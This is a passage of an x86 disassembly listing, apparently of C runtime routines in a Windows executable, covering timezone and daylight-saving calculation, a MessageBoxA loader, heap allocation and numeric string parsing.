0 jz loc_414690 mov eax, dword_47FBD4 cmp eax, ebp jz short loc_414584 push eax push esi call sub_40C250 pop ecx test eax, eax pop ecx jz loc_414690 loc_414584: ; CODE XREF: sub_414438+139j push dword_47FBD4 call sub_40B771 push esi call sub_40B5B0 inc eax push eax call sub_40B6BF add esp, 0Ch cmp eax, ebp mov dword_47FBD4, eax jz loc_414690 push esi push eax call sub_40CD70 push 3 push esi push off_420654 call sub_40B110 mov eax, off_420654 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_4145D9 push 1 inc esi pop edi loc_4145D9: ; CODE XREF: sub_414438+19Bj push esi call sub_40C324 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_4205C8, ecx loc_4145F0: ; CODE XREF: sub_414438+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4145FE cmp al, bl jl short loc_414601 cmp al, 39h jg short loc_414601 loc_4145FE: ; CODE XREF: sub_414438+1BCj inc esi jmp short loc_4145F0 ; --------------------------------------------------------------------------- loc_414601: ; CODE XREF: sub_414438+1C0j ; sub_414438+1C4j cmp byte ptr [esi], 3Ah jnz short loc_414654 inc esi push esi call sub_40C324 imul eax, 3Ch pop ecx mov ecx, dword_4205C8 add ecx, eax mov dword_4205C8, ecx loc_41461F: ; CODE XREF: sub_414438+1F2j mov al, [esi] cmp al, bl jl short loc_41462C cmp al, 39h jg short loc_41462C inc esi jmp short loc_41461F ; --------------------------------------------------------------------------- loc_41462C: ; CODE XREF: sub_414438+1EBj ; sub_414438+1EFj cmp byte ptr [esi], 3Ah jnz short loc_414654 inc esi push esi call sub_40C324 pop ecx mov ecx, dword_4205C8 add ecx, eax mov dword_4205C8, ecx loc_414647: ; CODE XREF: sub_414438+21Aj mov al, [esi] cmp al, bl jl short loc_414654 cmp al, 39h jg short loc_414654 inc esi jmp short loc_414647 ; --------------------------------------------------------------------------- loc_414654: ; CODE XREF: sub_414438+1CCj ; sub_414438+1F7j ... cmp edi, ebp jz short loc_414660 neg ecx mov dword_4205C8, ecx loc_414660: ; CODE XREF: sub_414438+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_4205CC, eax jz short loc_414688 push 3 push esi push off_420658 call sub_40B110 mov eax, off_420658 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_414690 ; --------------------------------------------------------------------------- loc_414688: ; CODE XREF: sub_414438+10Bj ; sub_414438+115j ... mov eax, off_420658 and byte ptr [eax], 0 loc_414690: ; CODE XREF: sub_414438+40j ; sub_414438+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_414438 endp ; =============== S U B R O U T I N E ======================================= sub_414696 proc near ; CODE XREF: sub_411D59+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_4205CC, edi jnz short loc_4146AA loc_4146A3: ; CODE XREF: sub_414696+148j ; sub_414696+150j ... xor eax, eax jmp loc_4147F6 ; --------------------------------------------------------------------------- loc_4146AA: ; CODE XREF: sub_414696+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_420660 jnz short loc_4146C8 cmp eax, dword_420670 jz loc_4147CA loc_4146C8: ; CODE XREF: sub_414696+24j cmp dword_47FB20, edi jz loc_4147A0 movzx ecx, word_47FBCE push ecx cmp word_47FBC0, di movzx ecx, word_47FBCC push ecx movzx ecx, word_47FBCA push ecx movzx ecx, word_47FBC8 push ecx jnz short loc_41471A movzx ecx, word_47FBC4 push edi push ecx movzx ecx, word_47FBC6 push ecx movzx ecx, word_47FBC2 push ecx push eax push ebx jmp short loc_41472E ; --------------------------------------------------------------------------- loc_41471A: ; CODE XREF: sub_414696+65j movzx ecx, word_47FBC6 push ecx push edi movzx ecx, word_47FBC2 push edi push ecx push eax push edi loc_41472E: ; CODE XREF: sub_414696+82j push ebx call sub_414842 movzx eax, word_47FB7A add esp, 2Ch cmp word_47FB6C, di push eax movzx eax, word_47FB78 push eax movzx eax, word_47FB76 push eax movzx eax, word_47FB74 push eax jnz short loc_414788 movzx eax, word_47FB70 push edi push eax movzx eax, word_47FB72 push eax movzx eax, word_47FB6E push eax push dword ptr [esi+14h] push ebx loc_41477D: ; CODE XREF: sub_414696+108j push edi call sub_414842 add esp, 2Ch jmp short loc_4147CA ; --------------------------------------------------------------------------- loc_414788: ; CODE XREF: sub_414696+C8j movzx eax, word_47FB72 push eax push edi movzx eax, word_47FB6E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_41477D ; --------------------------------------------------------------------------- loc_4147A0: ; CODE XREF: sub_414696+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_414842 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_414842 add esp, 58h loc_4147CA: ; CODE XREF: sub_414696+2Cj ; sub_414696+F0j mov edx, dword_420664 mov eax, dword_420674 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_4147FA cmp ecx, edx jl loc_4146A3 cmp ecx, eax jg loc_4146A3 cmp ecx, edx jle short loc_41480E cmp ecx, eax jge short loc_41480E loc_4147F4: ; CODE XREF: sub_414696+166j ; sub_414696+16Aj mov eax, ebx loc_4147F6: ; CODE XREF: sub_414696+Fj ; sub_414696+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4147FA: ; CODE XREF: sub_414696+144j cmp ecx, eax jl short loc_4147F4 cmp ecx, edx jg short loc_4147F4 cmp ecx, eax jle short loc_41480E cmp ecx, edx jl loc_4146A3 loc_41480E: ; CODE XREF: sub_414696+158j ; sub_414696+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_414835 xor ecx, ecx cmp eax, dword_420668 setnl cl loc_414831: ; CODE XREF: sub_414696+1AAj mov eax, ecx jmp short loc_4147F6 ; --------------------------------------------------------------------------- loc_414835: ; CODE XREF: sub_414696+18Ej xor ecx, ecx cmp eax, dword_420678 setl cl jmp short loc_414831 sub_414696 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414842 proc near ; CODE XREF: sub_414696+99p ; sub_414696+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_4148DD mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_41486D shl esi, 2 mov eax, dword_420678[esi] jmp short loc_414876 ; --------------------------------------------------------------------------- loc_41486D: ; CODE XREF: sub_414842+1Ej shl esi, 2 mov eax, dword_4206AC[esi] loc_414876: ; CODE XREF: sub_414842+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_4148B0 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_4148BA ; --------------------------------------------------------------------------- loc_4148B0: ; CODE XREF: sub_414842+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_4148BA: ; CODE XREF: sub_414842+6Cj cmp [ebp+arg_10], 5 jnz short loc_4148F8 cmp [ebp+arg_8], 0 jnz short loc_4148CE mov esi, dword_42067C[esi] jmp short loc_4148D4 ; --------------------------------------------------------------------------- loc_4148CE: ; CODE XREF: sub_414842+82j mov esi, dword_4206B0[esi] loc_4148D4: ; CODE XREF: sub_414842+8Aj cmp ecx, esi jle short loc_4148F8 sub ecx, 7 jmp short loc_4148F8 ; --------------------------------------------------------------------------- loc_4148DD: ; CODE XREF: sub_414842+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_4148EE mov ecx, dword_420678[eax*4] jmp short loc_4148F5 ; --------------------------------------------------------------------------- loc_4148EE: ; CODE XREF: sub_414842+A1j mov ecx, dword_4206AC[eax*4] loc_4148F5: ; CODE XREF: sub_414842+AAj add ecx, [ebp+arg_18] loc_4148F8: ; CODE XREF: sub_414842+7Cj ; sub_414842+94j ... cmp [ebp+arg_0], 1 jnz short loc_414929 mov eax, [ebp+arg_1C] mov dword_420664, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_420660, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_420668, eax jmp short loc_41497E ; --------------------------------------------------------------------------- loc_414929: ; CODE XREF: sub_414842+BAj mov eax, [ebp+arg_1C] mov dword_420674, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_4205D0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_420678, eax jns short loc_414961 add eax, 5265C00h dec ecx mov dword_420678, eax jmp short loc_414972 ; --------------------------------------------------------------------------- loc_414961: ; CODE XREF: sub_414842+110j mov edx, 5265C00h cmp eax, edx jl short loc_414978 sub eax, edx inc ecx mov dword_420678, eax loc_414972: ; CODE XREF: sub_414842+11Dj mov dword_420674, ecx loc_414978: ; CODE XREF: sub_414842+126j mov dword_420670, ebx loc_41497E: ; CODE XREF: sub_414842+E5j pop esi pop ebx pop ebp retn sub_414842 endp ; =============== S U B R O U T I N E ======================================= sub_414982 proc near ; CODE XREF: sub_4128E9+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_414993 add esp, 0Ch retn sub_414982 endp ; =============== S U B R O U T I N E ======================================= sub_414993 proc near ; CODE XREF: sub_414982+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_480E61[eax], cl jnz short loc_4149C0 cmp [esp+arg_4], 0 jz short loc_4149B9 movzx eax, word_41FD82[eax*2] and eax, [esp+arg_4] jmp short loc_4149BB ; --------------------------------------------------------------------------- loc_4149B9: ; CODE XREF: sub_414993+16j xor eax, eax loc_4149BB: ; CODE XREF: sub_414993+24j test eax, eax jnz short loc_4149C0 retn ; --------------------------------------------------------------------------- loc_4149C0: ; CODE XREF: sub_414993+Fj ; sub_414993+2Aj push 1 pop eax retn sub_414993 endp ; =============== S U B R O U T I N E ======================================= sub_4149C4 proc near ; CODE XREF: sub_41303D+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_47FBDC, ebx push esi push edi jnz short loc_414A13 push offset aUser32_dll ; "user32.dll" call dword_417084 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_414A49 mov esi, dword_417088 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_47FBDC, eax jz short loc_414A49 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_47FBE0, eax call esi ; GetProcAddress mov dword_47FBE4, eax loc_414A13: ; CODE XREF: sub_4149C4+Bj mov eax, dword_47FBE0 test eax, eax jz short loc_414A32 call eax mov ebx, eax test ebx, ebx jz short loc_414A32 mov eax, dword_47FBE4 test eax, eax jz short loc_414A32 push ebx call eax mov ebx, eax loc_414A32: ; CODE XREF: sub_4149C4+56j ; sub_4149C4+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_47FBDC loc_414A45: ; CODE XREF: sub_4149C4+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_414A49: ; CODE XREF: sub_4149C4+1Cj ; sub_4149C4+33j xor eax, eax jmp short loc_414A45 sub_4149C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A4D proc near ; CODE XREF: sub_4133A7+22p ; sub_4133A7+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_414A6E test esi, esi jnz short loc_414A68 push 1 pop esi loc_414A68: ; CODE XREF: sub_414A4D+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_414A6E: ; CODE XREF: sub_414A4D+12j ; sub_414A4D+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_414ACD mov eax, dword_480F88 cmp eax, 3 jnz short loc_414A99 mov eax, [ebp+arg_0] cmp eax, dword_480F80 ja short loc_414AB8 push eax call sub_40EFAC mov edi, eax pop ecx test edi, edi jnz short loc_414AE3 jmp short loc_414AB8 ; --------------------------------------------------------------------------- loc_414A99: ; CODE XREF: sub_414A4D+30j cmp eax, 2 jnz short loc_414AB8 cmp esi, dword_41FC34 ja short loc_414AB8 mov eax, esi shr eax, 4 push eax call sub_40FA4F mov edi, eax pop ecx test edi, edi jnz short loc_414AF7 loc_414AB8: ; CODE XREF: sub_414A4D+3Bj ; sub_414A4D+4Aj ... push esi push 8 push dword_480F84 call dword_417104 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_414AF1 loc_414ACD: ; CODE XREF: sub_414A4D+26j cmp dword_47F96C, 0 jz short loc_414AF1 push esi call sub_40EA23 test eax, eax pop ecx jz short loc_414AFA jmp short loc_414A6E ; --------------------------------------------------------------------------- loc_414AE3: ; CODE XREF: sub_414A4D+48j push [ebp+arg_0] loc_414AE6: ; CODE XREF: sub_414A4D+ABj push 0 push edi call sub_40B630 add esp, 0Ch loc_414AF1: ; CODE XREF: sub_414A4D+7Ej ; sub_414A4D+87j mov eax, edi loc_414AF3: ; CODE XREF: sub_414A4D+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_414AF7: ; CODE XREF: sub_414A4D+69j push esi jmp short loc_414AE6 ; --------------------------------------------------------------------------- loc_414AFA: ; CODE XREF: sub_414A4D+92j xor eax, eax jmp short loc_414AF3 sub_414A4D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41344C loc_414AFE: ; CODE XREF: sub_41344C+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_480C20, esi jle short loc_414B51 loc_414B0D: ; CODE XREF: sub_41344C+1703j mov eax, dword_47FC08 mov eax, [eax+esi*4] test eax, eax jz short loc_414B48 test byte ptr [eax+0Ch], 83h jz short loc_414B2C push eax call sub_40C3BA cmp eax, 0FFFFFFFFh pop ecx jz short loc_414B2C inc edi loc_414B2C: ; CODE XREF: sub_41344C+16D1j ; sub_41344C+16DDj cmp esi, 14h jl short loc_414B48 mov eax, dword_47FC08 push dword ptr [eax+esi*4] call sub_40B771 mov eax, dword_47FC08 pop ecx and dword ptr [eax+esi*4], 0 loc_414B48: ; CODE XREF: sub_41344C+16CBj ; sub_41344C+16E3j inc esi cmp esi, dword_480C20 jl short loc_414B0D loc_414B51: ; CODE XREF: sub_41344C+16BFj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41344C ; =============== S U B R O U T I N E ======================================= sub_414B56 proc near ; CODE XREF: sub_4137FF+2Bp ; sub_4137FF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_414B6C cmp ecx, esi jnb short loc_414B6F loc_414B6C: ; CODE XREF: sub_414B56+10j push 1 pop eax loc_414B6F: ; CODE XREF: sub_414B56+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_414B56 endp ; =============== S U B R O U T I N E ======================================= sub_414B77 proc near ; CODE XREF: sub_414C30+40p ; sub_414C30+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_414B56 add esp, 0Ch test eax, eax jz short loc_414BA9 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_414B56 add esp, 0Ch test eax, eax jz short loc_414BA9 inc dword ptr [esi+8] loc_414BA9: ; CODE XREF: sub_414B77+19j ; sub_414B77+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_414B56 add esp, 0Ch test eax, eax jz short loc_414BC1 inc dword ptr [esi+8] loc_414BC1: ; CODE XREF: sub_414B77+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_414B56 add esp, 0Ch pop edi pop esi retn sub_414B77 endp ; =============== S U B R O U T I N E ======================================= sub_414BD5 proc near ; CODE XREF: sub_414C30+30p ; sub_414C30+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_414BD5 endp ; =============== S U B R O U T I N E ======================================= sub_414C03 proc near ; CODE XREF: sub_4151C8+1C8p ; sub_415790+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_414C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C30 proc near ; CODE XREF: sub_414CF7+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_414CA4 push edi mov [ebp+arg_8], eax loc_414C57: ; CODE XREF: sub_414C30+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_414BD5 push ebx call sub_414BD5 lea eax, [ebp+var_10] push eax push ebx call sub_414B77 push ebx call sub_414BD5 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_414B77 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_414C57 xor edx, edx pop edi loc_414CA4: ; CODE XREF: sub_414C30+21j ; sub_414C30+9Fj cmp [ebx+8], edx jnz short loc_414CD1 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_414CA4 ; --------------------------------------------------------------------------- loc_414CD1: ; CODE XREF: sub_414C30+77j mov esi, 8000h loc_414CD6: ; CODE XREF: sub_414C30+B9j test [ebx+8], esi jnz short loc_414CEB push ebx call sub_414BD5 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_414CD6 ; --------------------------------------------------------------------------- loc_414CEB: ; CODE XREF: sub_414C30+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_414C30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414CF7 proc near ; CODE XREF: sub_413B48+17p ; sub_413B75+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_414D32: ; CODE XREF: sub_414CF7+52j mov cl, [edi] cmp cl, 20h jz short loc_414D48 cmp cl, 9 jz short loc_414D48 cmp cl, 0Ah jz short loc_414D48 cmp cl, 0Dh jnz short loc_414D4B loc_414D48: ; CODE XREF: sub_414CF7+40j ; sub_414CF7+45j ... inc edi jmp short loc_414D32 ; --------------------------------------------------------------------------- loc_414D4B: ; CODE XREF: sub_414CF7+4Fj push 4 pop esi loc_414D4E: ; CODE XREF: sub_414CF7+AEj ; sub_414CF7+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_414FD1 ; default ; jumptable 00414D5A case 10 jmp off_415198[eax*4] ; switch jump loc_414D61: ; DATA XREF: .nsp0:off_415198o cmp bl, 31h ; jumptable 00414D5A case 0 jl short loc_414D72 cmp bl, 39h jg short loc_414D72 loc_414D6B: ; CODE XREF: sub_414CF7+C4j ; sub_414CF7+118j push 3 jmp loc_414F8F ; --------------------------------------------------------------------------- loc_414D72: ; CODE XREF: sub_414CF7+6Dj ; sub_414CF7+72j cmp bl, byte_41FF88 jnz short loc_414D81 loc_414D7A: ; CODE XREF: sub_414CF7+124j push 5 jmp loc_414FC7 ; --------------------------------------------------------------------------- loc_414D81: ; CODE XREF: sub_414CF7+81j movsx eax, bl sub eax, 2Bh jz short loc_414DA7 dec eax dec eax jz short loc_414D9B sub eax, 3 jnz loc_41506A jmp loc_414E2A ; --------------------------------------------------------------------------- loc_414D9B: ; CODE XREF: sub_414CF7+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_414D4E ; --------------------------------------------------------------------------- loc_414DA7: ; CODE XREF: sub_414CF7+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_414D4E ; --------------------------------------------------------------------------- loc_414DB0: ; CODE XREF: sub_414CF7+63j ; DATA XREF: .nsp0:off_415198o cmp bl, 31h ; jumptable 00414D5A case 1 mov [ebp+var_10], edx jl short loc_414DBD cmp bl, 39h jle short loc_414D6B loc_414DBD: ; CODE XREF: sub_414CF7+BFj cmp bl, byte_41FF88 jz loc_414E85 cmp bl, 2Bh jz short loc_414DFF cmp bl, 2Dh jz short loc_414DFF cmp bl, 30h jz short loc_414E2A loc_414DD8: ; CODE XREF: sub_414CF7+207j cmp bl, 43h jle loc_41506A cmp bl, 45h jle short loc_414DF8 cmp bl, 63h jle loc_41506A cmp bl, 65h jg loc_41506A loc_414DF8: ; CODE XREF: sub_414CF7+EDj push 6 jmp loc_414FC7 ; --------------------------------------------------------------------------- loc_414DFF: ; CODE XREF: sub_414CF7+D5j ; sub_414CF7+DAj ... dec edi push 0Bh jmp loc_414FC7 ; --------------------------------------------------------------------------- loc_414E07: ; CODE XREF: sub_414CF7+63j ; DATA XREF: .nsp0:off_415198o cmp bl, 31h ; jumptable 00414D5A case 2 jl short loc_414E15 cmp bl, 39h jle loc_414D6B loc_414E15: ; CODE XREF: sub_414CF7+113j cmp bl, byte_41FF88 jz loc_414D7A cmp bl, 30h jnz loc_414FDF loc_414E2A: ; CODE XREF: sub_414CF7+9Fj ; sub_414CF7+DFj mov eax, edx jmp loc_414D4E ; --------------------------------------------------------------------------- loc_414E31: ; CODE XREF: sub_414CF7+63j ; DATA XREF: .nsp0:off_415198o mov [ebp+var_10], edx ; jumptable 00414D5A case 3 loc_414E34: ; CODE XREF: sub_414CF7+184j cmp dword_41FF84, edx jle short loc_414E4D movzx eax, bl push esi push eax call sub_4114D9 pop ecx pop ecx push 1 pop edx jmp short loc_414E5B ; --------------------------------------------------------------------------- loc_414E4D: ; CODE XREF: sub_414CF7+143j mov ecx, off_41FD78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_414E5B: ; CODE XREF: sub_414CF7+154j test eax, eax jz short loc_414E7D cmp [ebp+var_4], 19h jnb short loc_414E75 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_414E78 ; --------------------------------------------------------------------------- loc_414E75: ; CODE XREF: sub_414CF7+16Cj inc [ebp+var_8] loc_414E78: ; CODE XREF: sub_414CF7+17Cj mov bl, [edi] inc edi jmp short loc_414E34 ; --------------------------------------------------------------------------- loc_414E7D: ; CODE XREF: sub_414CF7+166j cmp bl, byte_41FF88 jnz short loc_414EEC loc_414E85: ; CODE XREF: sub_414CF7+CCj mov eax, esi jmp loc_414D4E ; --------------------------------------------------------------------------- loc_414E8C: ; CODE XREF: sub_414CF7+63j ; DATA XREF: .nsp0:off_415198o cmp [ebp+var_4], 0 ; jumptable 00414D5A case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_414EA5 loc_414E98: ; CODE XREF: sub_414CF7+1ACj cmp bl, 30h jnz short loc_414EA5 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_414E98 ; --------------------------------------------------------------------------- loc_414EA5: ; CODE XREF: sub_414CF7+19Fj ; sub_414CF7+1A4j ... cmp dword_41FF84, edx jle short loc_414EBE movzx eax, bl push esi push eax call sub_4114D9 pop ecx pop ecx push 1 pop edx jmp short loc_414ECC ; --------------------------------------------------------------------------- loc_414EBE: ; CODE XREF: sub_414CF7+1B4j mov ecx, off_41FD78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_414ECC: ; CODE XREF: sub_414CF7+1C5j test eax, eax jz short loc_414EEC cmp [ebp+var_4], 19h jnb short loc_414EE7 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_414EE7: ; CODE XREF: sub_414CF7+1DDj mov bl, [edi] inc edi jmp short loc_414EA5 ; --------------------------------------------------------------------------- loc_414EEC: ; CODE XREF: sub_414CF7+18Cj ; sub_414CF7+1D7j cmp bl, 2Bh jz loc_414DFF cmp bl, 2Dh jz loc_414DFF jmp loc_414DD8 ; --------------------------------------------------------------------------- loc_414F03: ; CODE XREF: sub_414CF7+63j ; DATA XREF: .nsp0:off_415198o cmp dword_41FF84, edx ; jumptable 00414D5A case 5 mov [ebp+var_24], edx jle short loc_414F1F movzx eax, bl push esi push eax call sub_4114D9 pop ecx pop ecx push 1 pop edx jmp short loc_414F2D ; --------------------------------------------------------------------------- loc_414F1F: ; CODE XREF: sub_414CF7+215j mov ecx, off_41FD78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_414F2D: ; CODE XREF: sub_414CF7+226j test eax, eax jz loc_414FDF mov eax, esi jmp short loc_414F90 ; --------------------------------------------------------------------------- loc_414F39: ; CODE XREF: sub_414CF7+63j ; DATA XREF: .nsp0:off_415198o lea ecx, [edi-2] ; jumptable 00414D5A case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_414F49 cmp bl, 39h jle short loc_414F8D loc_414F49: ; CODE XREF: sub_414CF7+24Bj movsx eax, bl sub eax, 2Bh jz short loc_414FC5 dec eax dec eax jz short loc_414FB9 sub eax, 3 jnz loc_41506D loc_414F5E: ; CODE XREF: sub_414CF7+2A4j push 8 jmp short loc_414FC7 ; --------------------------------------------------------------------------- loc_414F62: ; CODE XREF: sub_414CF7+63j ; DATA XREF: .nsp0:off_415198o mov [ebp+var_20], edx ; jumptable 00414D5A case 8 loc_414F65: ; CODE XREF: sub_414CF7+276j cmp bl, 30h jnz short loc_414F6F mov bl, [edi] inc edi jmp short loc_414F65 ; --------------------------------------------------------------------------- loc_414F6F: ; CODE XREF: sub_414CF7+271j cmp bl, 31h jl loc_41506A cmp bl, 39h jg loc_41506A jmp short loc_414F8D ; --------------------------------------------------------------------------- loc_414F83: ; CODE XREF: sub_414CF7+63j ; DATA XREF: .nsp0:off_415198o cmp bl, 31h ; jumptable 00414D5A case 7 jl short loc_414F96 cmp bl, 39h jg short loc_414F96 loc_414F8D: ; CODE XREF: sub_414CF7+250j ; sub_414CF7+28Aj push 9 loc_414F8F: ; CODE XREF: sub_414CF7+76j pop eax loc_414F90: ; CODE XREF: sub_414CF7+240j dec edi jmp loc_414D4E ; --------------------------------------------------------------------------- loc_414F96: ; CODE XREF: sub_414CF7+28Fj ; sub_414CF7+294j cmp bl, 30h jnz short loc_414FDF jmp short loc_414F5E ; --------------------------------------------------------------------------- loc_414F9D: ; CODE XREF: sub_414CF7+63j ; DATA XREF: .nsp0:off_415198o cmp [ebp+arg_18], 0 ; jumptable 00414D5A case 11 jz short loc_414FCD movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short 